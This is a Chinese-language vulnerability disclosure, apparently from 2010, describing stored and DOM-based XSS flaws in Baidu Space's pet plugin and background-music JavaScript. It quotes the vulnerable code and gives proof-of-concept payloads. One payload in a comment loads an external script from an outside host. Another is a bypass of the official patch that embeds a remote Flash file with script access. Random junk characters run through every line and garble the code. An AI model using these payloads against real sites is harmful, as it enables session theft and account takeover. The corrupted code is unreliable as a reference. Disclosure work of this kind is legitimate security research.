百度空间的宠物插件对用户输入变量未经任何过滤便存储,并不经过滤输出,造成XSS.
, U2 {" L. B0 Z' _" X9 y! j8 ~+ z8 y( K2 `3 l9 r- ?
1.在http://hi.baidu.com/p__z/modify/sppet中,用户可以输入留言管理,提交后,未过滤直接储存.
0 m- Y* u6 a# X( S! Z2.在http://hi.baidu.com/ui/scripts/pet/pet.js中 6 \6 X; i/ t4 ?: i+ q/ A
2 S- p; b! M5 T( I- [4 j/ x
将输出一段HTML:<p style="margin-top:5px"><strong>’+F[2]+"说:</strong>"+BdUtil.insertWBR(F[0], 4)+’</p>
6 `6 u$ G" T- p u7 y9 ]8 K6 s其中BdUtil.insertWBR为
2 r3 t- L$ i% A1 z/ m- Z: ufunction(text, step) {
! [, \: w. M$ H! j; [; k var textarea = textAreaCache || getContainer();
+ L# r) a& q9 g7 G) _0 Q& `% l* M if (!textarea) {
" p i2 z Z/ I$ W return text;
! o3 j: j9 P, }# L }
% ]+ c7 w3 R5 R0 g textarea.innerHTML = text.replace(/&/g, "&").replace(/</g, "<").replace(/>/g, ">");
6 E- G2 o8 f$ T- _7 b6 x var string = textarea.value;
* m3 W* y: ]+ R ]* V. a6 v var step = step || 5, reg = new RegExp("(\\S{" + step + "})", "gi");
6 P2 }9 o$ L% v( C! |2 a2 b ?) J# Y } var result = string.replace(/(<[^>]+>)/gi, "$1<wbr/>").replace(/(>|^)([^<]+)(<|$)/gi, function (a, b, c, d) {if (c.length < step) {return a;}return b + c.replace(reg, "$1<wbr/>") + d;}).replace(/&([^;]*)(<wbr\/?>)([^;]*);/g, "&$1$3;"); 1 y# g# B6 y5 {
return result;
% x2 L' B8 y9 }$ I& y+ X7 Y) P} * ^+ ~' N+ z M7 @9 ^
在首页中,textAreaCache 和 getContainer()均不存在,故!textarea为true,未经过滤直接return text.造成XSS.
2 k W8 N: s3 X: e测试代码:宠物留言管理处输入:<img src=# onerror=alert(/qing/)>
! A* V7 P0 m9 }' a% R# u 3 f" d7 w7 a0 i' I2 b6 B( d
二:creatbgmusic() Dom-Xss Bug . Q3 u6 i9 m) T* d* m
百度空间的Javascript Dom函数creatbgmusic()在输出变量bgmusic*没有进行过滤,导致可以通过initBlogTextForFCK()函数构造容易HTML代码,最终导致xss漏洞
7 Z1 p9 S7 R7 H9 k" D
0 ~5 u6 I+ O; t/ C9 W2 {在http://hi.baidu.com//js/bgmusic.js?v=1.0.js 代码: : B: B1 f) _! G- ? H* u
! c" t( n- _5 _/ g) A9 q
function creatbgmusic(murl, musicnum, IsMusicHide, IsMusicLoop, IsMusicAutoPlay, unknow, functype) { 9 v7 F+ ]$ |% ^8 h) S
//传入的murl赋值到bgmusic1和bgmusic2中 ( T1 | T3 o2 b* _* Q! B
//可以通过构造类似代码来闭合标签如 "><img src=2 onerror=s=document.createElement("script");s.src="http://www.80vul.com/sobb/alert.php";document.body.appendChild(s);>#1 5 p, Q3 Y# M+ B6 J3 N7 Y% A
var bgmusic1 = "<OBJECT id=phx width=100% classid=clsid:6BF52A52-394A-11D3-B153-00C04F79FAA6 " + (IsMusicHide ? "height=45" : "") + ">" + "<PARAM NAME=\"URL\" VALUE=\"" + murl + "?t=" + Math.random() + "\">" + " <PARAM NAME=\"rate\" VALUE=\"1\">" + " <PARAM NAME=\"balance\" VALUE=\"0\">" + " <PARAM NAME=\"currentPosition\" VALUE=\"0\">" + " <PARAM NAME=\"defaultFrame\" VALUE=\"\">" + " <PARAM NAME=\"PlayCount\" VALUE=\"" + (IsMusicLoop ? 100 : 0) + "\">" + " <PARAM NAME=\"DisplayMode\" VALUE=\"0\">" + " <PARAM NAME=\"PreviewMode\" VALUE=\"0\">" + " <PARAM NAME=\"DisplayForeColor\" VALUE=\"16777215\">" + " <PARAM NAME=\"ShowCaptioning\" VALUE=\"0\">" + " <PARAM NAME=\"ShowControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowAudioControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowDisplay\" VALUE=\"0\">" + " <PARAM NAME=\"ShowGotoBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowStatusBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowTracker\" VALUE=\"1\">" + " <PARAM NAME=\"autoStart\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"AutoRewind\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"currentMarker\" VALUE=\"0\">" + " <PARAM NAME=\"invokeURLs\" VALUE=\"0\">" + " <PARAM NAME=\"baseURL\" VALUE=\"\">" + " <PARAM NAME=\"volume\" VALUE=\"100\">" + " <PARAM NAME=\"mute\" VALUE=\"0\">" + " <PARAM NAME=\"stretchToFit\" VALUE=\"0\">" + " <PARAM NAME=\"windowlessVideo\" VALUE=\"1\">" + " <PARAM NAME=\"enabled\" VALUE=\"1\">" + " <PARAM NAME=\"EnableFullScreenControls\" VALUE=\"0\">" + " <PARAM NAME=\"EnableTracker\" VALUE=\"1\">" + " <PARAM NAME=\"EnablePositionControls\" VALUE=\"1\">" + " <PARAM NAME=\"enableContextMenu\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionStart\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionEnd\" VALUE=\"0\">" + " <PARAM NAME=\"fullScreen\" VALUE=\"0\">" + " <PARAM NAME=\"SAMIStyle\" VALUE=\"\">" + " <PARAM NAME=\"SAMILang\" VALUE=\"\">" + " <PARAM NAME=\"SAMIFilename\" VALUE=\"\">" + " <PARAM NAME=\"captioningID\" VALUE=\"\">" + " <PARAM NAME=\"Visualizations\" VALUE=\"1\">"; 1 m: l8 @4 ~, ~) Y% p" D
if (musicnum <= 1) {
' s; @) Y; _: D# K( s& D bgmusic1 += " <PARAM NAME=\"uiMode\" VALUE=\"mini\">"; 6 W1 n2 T' Z/ C( P) a
}
) S7 q2 L3 f$ p' o+ a" q3 \# \$ f* V bgmusic1 += "</OBJECT>"; $ j1 {& c# ~ o8 e+ z. g3 r
var bgmusic2 = "<EMBED src=\"" + murl + "?t=" + Math.random() + "\" width=\"100%\" " + (IsMusicHide ? "height=45" : "") + " type=\"application/x-mplayer2\" invokeurls=\"0\" autogotourl=\"false\" autostart=" + (IsMusicAutoPlay ? 1 : 0) + " loop=" + (IsMusicLoop ? 1 : 0) + " quality=\"high\""; 3 A) H2 [8 i8 |: u
if (musicnum <= 1) {
) x" K. |5 p' ?) b9 j+ v bgmusic2 += "showcontrols=\"1\" showpositioncontrols=\"0\" ";
5 w8 \8 {/ {3 }4 b( p6 L }
2 W4 A. Y. m* ~8 `$ s) n bgmusic2 += "> </EMBED>";
( [0 o0 T+ t- ]" B5 U6 z var bgmusic3 = "<div id=\"m_bgmusic\" class=\"modbox\">\u5BF9\u4E0D\u8D77\uFF0C\u60A8\u5C1A\u672A\u5B89\u88C5windows media player\uFF0C\u65E0\u6CD5\u6B23\u8D4F\u8BE5\u7A7A\u95F4\u7684\u80CC\u666F\u97F3\u4E50\uFF0C\u8BF7\u5148<a href=\"http://www.baidu.com/s?wd=windows+media+player+%CF%C2%D4%D8&cl=3\" target=\"_blank\">\u4E0B\u8F7D\u5E76\u5B89\u88C5</a><br><br></div>";
0 o0 U3 F7 ~, P" Y' a2 A# L5 Q$ j3 S4 T var bgmus = detectWMP();
$ d; Z4 s) H8 A8 l1 p if (functype == "FckMusicHelper") {
5 W9 H1 M" t9 c/ v) Q if (bgmus.installed) { ( `1 _ ^) x# ^
if (bgmus.type == "IE") {
8 o/ c, d4 V; Q1 Q, u$ d5 F# K return bgmusic1; - O/ @, j2 |1 v# K9 g7 s- g) I+ C
} else if (bgmus.type == "NS") { / }. f7 w# J% P7 |' ?1 o
return bgmusic2; 0 M, k/ }$ C; }! ?* k' F, R ? v
}
4 k6 m0 v; N' A7 A8 W) c" r- r6 r8 a$ x } else {
( F; N' K0 t- {* c return bgmusic3;
( t" H7 s( `7 u }
' L9 P$ ?$ T2 @) y* ` } else { : T* ^0 V8 V( [6 }! [8 @2 ]& x
if (bgmus.installed) {
( Z9 b5 {/ G+ N+ K //document.write 直接输出bgmusic变量 导致xss
* R4 K- B% ~" x" y N! ` if (bgmus.type == "IE") {
! g) @' B1 ~' z! Z- T: Y; Q document.write(bgmusic1);
; V$ z: M7 G) l } else if (bgmus.type == "NS") {
S$ \6 L0 u; `+ v( T8 } document.write(bgmusic2);
W H& t% {8 e+ f9 k* O } 3 Z$ u0 F/ V U) [, L
} else { + r4 u. \, c9 P3 O/ }
document.write(bgmusic3); ' @4 ]/ W( o! c
} 6 y4 c! u# ?. Z- M+ P/ Q
return "";
+ E2 s8 D: D6 m, b! _0 w( E }
+ c* d: y3 E: r; W} , f0 g& P5 Z1 V3 X
; X& s+ ]# w9 e" f2 v" ]. Y
在看百度空间里的initBlogTextForFCK()函数,调用了creatbgmusic() ,代码如下: ; K, L3 } [! L8 e8 n! T9 D+ d
/ G7 e4 ?! z+ y7 q6 k2 A$ \) Zfunction initBlogTextForFCK(){ + w" I$ C4 g4 z/ n0 o# y& v
//fck init music , d) Y' j* {* \$ M
if(window.Node){Node.prototype.replaceNode=function(Node){this.parentNode.replaceChild(Node,this);}}
6 g( J4 @2 Q/ I' Lvar imgBox=document.getElementsByName(’musicName’); //取得了文章中的所有name="musicName"的标签数组
) W: U% m+ O2 U' W/ n3 {var isAutoPlay=true; 5 e2 e, y8 S6 N8 P1 [6 o
for(var i=0,n=imgBox.length;i<n;i++){ //然后遍历. * H# n6 }9 Y' t
var img=imgBox;
) M7 @6 Y% e6 ?+ p. ]/ u% N: t if(img.getAttribute(’rel’)){ ; }: G3 Z9 k; x! X& E
var musicSrc=img.getAttribute(’rel’); //取得标签中rel的值,赋值给musicSrc 0 a% { c) x% x; j7 ]$ k4 b3 D; _
var musicDiv = document.createElement("SPAN");
- r+ g r+ ^7 ~- p* Z6 ]& V var tmp=musicSrc.substr (musicSrc.indexOf(’#’)+1, 1); //以"#"为界分割musicSrc字符串,提取自动播放的flag[tmp] * T6 A: D* n! K1 P# G3 f4 _1 d0 u
) m7 u" Y8 U& b8 Y9 W. o .......................... " C, W& q# z% L0 [( A2 K4 g
9 \4 \) G( n) d8 ?# j! t //直接将部分musicSrc传入creatbgmusic函数.在creatbgmusic函数直接把传入的murl赋值到bgmusic1和bgmusic2中并document.write出来. ; W: n% Y6 i( X5 }
var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’); 6 `; i' f5 a7 x$ O' m' }. x U
shtml=shtml.replace(’width=100%’,’width=200’).replace(’width="100%"’,’width=200 height=45’); img.replaceNode(musicDiv); S4 J: B5 F3 X( y/ W7 G
musicDiv.innerHTML=shtml; ! z0 C0 @ z: O: @# w& u! j
i--;n--; 3 S; \; W0 n: ?8 c3 M( P: \4 E) R
}
1 v% r8 `( t, s7 u2 F/ }" ?! W} ) E) l3 W* [: M; i
% t T! e0 m: o# d o C从上面的代码分析可以看出:在所有的参数传递中,我们没有看到过滤.百度空间的富文本编辑器的过滤模式是基于HTML语法的,不会过滤掉一个属性的值中的HTML标签.所以我们可以精心构造一个的恶意的标签,在JS进行DOM操作后引起XSS. % ^7 I: V5 W" C7 W3 |& w
( |1 {& x% ?. c测试方法:<img width="200" height="45" name="musicName" rel=’"><img src=2 onerror=alert(/qing/)>#1’ src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif"/>
" O! Z7 u1 S$ G. R) d y
0 c6 c) i1 P1 o4 o8 X等待官方补丁
' C R; t3 {( c9 Q, Y9 r! U6 R4 m7 I7 z. f
update 2010年5月13日
5 n" Y% a3 Y& p5 _, Z Z
- a r- |9 p/ H, `( b% m$ T9 G官方补丁: ) c0 t/ h) L0 I$ q
" k0 k9 n) a( q7 \2 b
var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’); # m7 ?7 i4 _1 G2 k
改为:
! B+ K6 ^4 {# rvar shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)).replace(/[\s><()]+/g,’’),1,true,false,isAutoPlay,isAutoPlay,’FckMusicHelper’);
- j* ]5 J% i! B% j- A4 S9 S4 T9 f% ^# j1 e+ v8 |1 X' z$ `
update 2010年5月13日 21:50:37
$ G; N4 Z% H! r, j# f8 }
2 p$ K! c+ L* L, w6 z! C补丁存在漏洞 没有过滤" 可以继续跨:
0 D! n. U3 j8 K6 f" `6 P5 O. B3 \+ Q: n$ s1 [4 I& e% V& q
NEW POC:
0 [5 \+ k" x, m: p" _; d1 Z
, L0 q8 _* o1 ~: n; D$ q<img width="200" height="45" _fcksavedurl=" http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" rel=’http://www.xsser.net/pz/js.swf"
( Z* B; E: [" X1 W# |3 C: Y5 R5 r! r
' u' o3 I* f3 G5 s+ qallowscriptaccess="always" type="application/x-shockwave-flash"#2’ name="musicName"/>
/ W8 ~* J1 ~4 _' W
v5 T. f* ^2 k5 A5 M6 G. E |